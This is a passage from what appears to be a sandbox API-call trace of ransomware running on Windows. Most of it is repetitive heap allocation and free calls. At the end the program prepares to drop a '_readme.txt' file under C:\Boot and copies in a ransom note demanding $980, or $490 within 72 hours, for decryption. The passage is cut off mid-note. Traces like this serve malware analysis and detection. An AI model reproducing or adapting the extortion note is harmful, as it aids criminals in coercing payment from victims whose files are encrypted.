0x307f550 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.640] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.641] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.642] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.642] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.643] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.644] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.645] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.646] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.646] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.646] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.646] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.646] PathFindFileNameW (pszPath="") returned="" [0119.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.646] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.647] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.647] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.647] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.647] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.647] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.647] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.647] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0119.647] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.647] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0119.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.649] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write 